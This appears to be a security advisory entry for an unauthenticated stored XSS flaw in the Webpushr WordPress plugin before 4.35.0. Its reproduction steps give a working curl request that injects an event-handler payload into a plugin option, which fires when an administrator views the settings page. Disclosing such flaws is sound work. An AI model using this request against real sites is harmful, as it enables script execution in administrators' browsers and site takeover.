Lucene search

Krzysztof ZającWPEX-ID:A03330C2-3AE0-404D-A114-33B18CC47666

HistoryNov 06, 2023 - 12:00 a.m.

Webpushr < 4.35.0 - Unauthenticated Stored XSS

2023-11-0600:00:00

Krzysztof Zając

112

woocommerce

webpushr

unauthenticated stored xss

animation

administrator

curl request

exploit

price drop notification settings

5.8 Medium

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

14.0%

JSON

Description The plugin does not prevent visitors on the site from changing some of the plugin options, some of which may be used to conduct Stored XSS attacks.

1. Woocommerce needs to be installed as well as activating webpushr-web-push-notifications by creating an account.

2. Run the following curl request:

curl --url 'http://vulnerable-site.tld/wp-admin/admin-post.php' --data 'save_woo_settings=1&webpushr_price_drop=1&webpushr_woo_price_drop_icon="+style=animation-name:rotation;display:block+onanimationstart=alert(/XSS/)+x'

3. Have an administrator browse the price drop notification settings: http://vulnerable-site.tld/wp-admin/admin.php?page=webpushr-configuration&menu=price_drop#woocommerce_settings